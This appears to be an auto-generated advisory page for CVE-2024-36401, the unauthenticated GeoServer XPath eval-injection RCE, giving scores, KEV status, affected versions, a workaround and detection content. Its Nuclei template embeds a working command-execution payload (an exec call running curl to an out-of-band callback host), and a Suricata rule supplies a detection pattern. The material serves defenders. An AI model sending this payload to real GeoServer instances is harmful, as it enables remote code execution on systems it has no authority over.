VULNpocalypse

CVE-2024-36401: OSGeo GeoServer GeoTools Eval Injection Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

GeoServer is an open source server that allows users to share and edit geospatial data. Prior to versions 2.22.6, 2.23.6, 2.24.4, and 2.25.2, multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions. The GeoTools library API that GeoServer calls evaluates property/attribute names for feature types in a way that unsafely passes them to the commons-jxpath library which can execute arbitrary code when evaluating XPath expressions. This XPath evaluation is intended to be used only by complex feature types (i.e., Application Schema data stores) but is incorrectly being applied to simple feature types as well which makes this vulnerability apply to **ALL** GeoServer instances. No public PoC is provided but this vulnerability has been confirmed to be exploitable through WFS GetFeature, WFS GetPropertyValue, WMS GetMap, WMS GetFeatureInfo, WMS GetLegendGraphic and WPS Execute requests. This vulnerability can lead to executing arbitrary code. Versions 2.22.6, 2.23.6, 2.24.4, and 2.25.2 contain a patch for the issue. A workaround exists by removing the `gt-complex-x.y.jar` file from the GeoServer where `x.y` is the GeoTools version (e.g., `gt-complex-31.1.jar` if running GeoServer 2.25.1). This will remove the vulnerable code from GeoServer but may break some GeoServer functionality or prevent GeoServer from deploying if the gt-complex module is needed.

Description quoted from the CVE record (assigned by GitHub_M, published 2024-07-01).

Weakness: CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code (‘Eval Injection’)

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since
2024-07-15
US federal deadline
2024-08-05
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2024-04974, CNNVD-202407-085, CNVD-2024-30085, EUVD-2024-2280, GHSA-6jj6-gm7p-fcvv

VEDAS cluster: VEDAS:AARDVARKARCH

Exploit Observer links 42 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (42)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (3)

Vulnerability databases and vendor advisories (13)

Catalogue entries, not exploit evidence.

News (1)

198 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.998
very likely to be attacked soon
VEDAS
0.982
strong exploit evidence
On CISA KEV
Yes, since 2024-07-15
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.1CVE-2024-36401 EPSS over time2025-042026-11-01
VEDAS (exploit evidence)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.9CVE-2024-36401 VEDAS over time2025-042026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

ProductAffectedNot affected
geoserver geoserverversion >= 2.23.0, < 2.23.6
version >= 2.24.0, < 2.24.4
version >= 2.25.0, < 2.25.2
version < 2.22.6		Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: geoserver geoserver, maven org.geoserver.web:gs-web-app, maven org.geoserver:gs-wfs, maven org.geoserver:gs-wms, osgeo geoserver.

How to fix it

CISA required action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

Geoserver - Remote Code Execution

GeoServer is an open source server that allows users to share and edit geospatial data. Prior to versions 2.22.6, 2.23.6, 2.24.4, and 2.25.2, multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions.

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (GET /geoserver/web/wicket/bookmarkable/org.geoserver.web.demo.MapPrevie..., GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&t...); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using regex, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2024-36401.yaml
Show the template (59 lines)
yaml
id: CVE-2024-36401

info:
  name: "Geoserver - Remote Code Execution"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    GeoServer is an open source server that allows users to share and edit geospatial data. Prior to versions
    2.22.6, 2.23.6, 2.24.4, and 2.25.2, multiple OGC request parameters allow Remote Code Execution (RCE) by
    unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely
    evaluating property names as XPath expressions.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2024-36401&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=geoserver&match=exact
  classification:
    cve-id: CVE-2024-36401
  metadata:
    verified: false
  tags: cve,cve2024,geoserver,rce,unauth,kev,vkev,vuln
flow: |
   if(http(1))
   {
   set("name",template.typename[0])
   http(2)
   }

http:
  - raw:
      - |
        GET /geoserver/web/wicket/bookmarkable/org.geoserver.web.demo.MapPreviewPage HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    extractors:
      - type: regex
        name: typename
        part: body
        group: 1
        regex:
          - typeName=([^&\]]+)
        internal: true

  - raw:
      - |
        @timeout 20s
        GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames={{name}}&valueReference=exec(java.lang.Runtime.getRuntime(),'curl+{{interactsh-url}}') HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: content_type
        words:
          - "application/xml"

CVE-2024-36401.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2024-36401 Geoserver - Remote Code Execution. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2024-36401 Geoserver - Remote Code Execution"; flow:established,to_server; http.uri; content:"geoserver"; nocase; content:"')"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2024-36401; reference:url,https://www.exploit.observer/?keyword=CVE-2024-36401&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=geoserver&match=exact; sid:1009459; rev:1;)

CVE-2024-36401.rules on GitHub

Advisories on this CVE

References

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.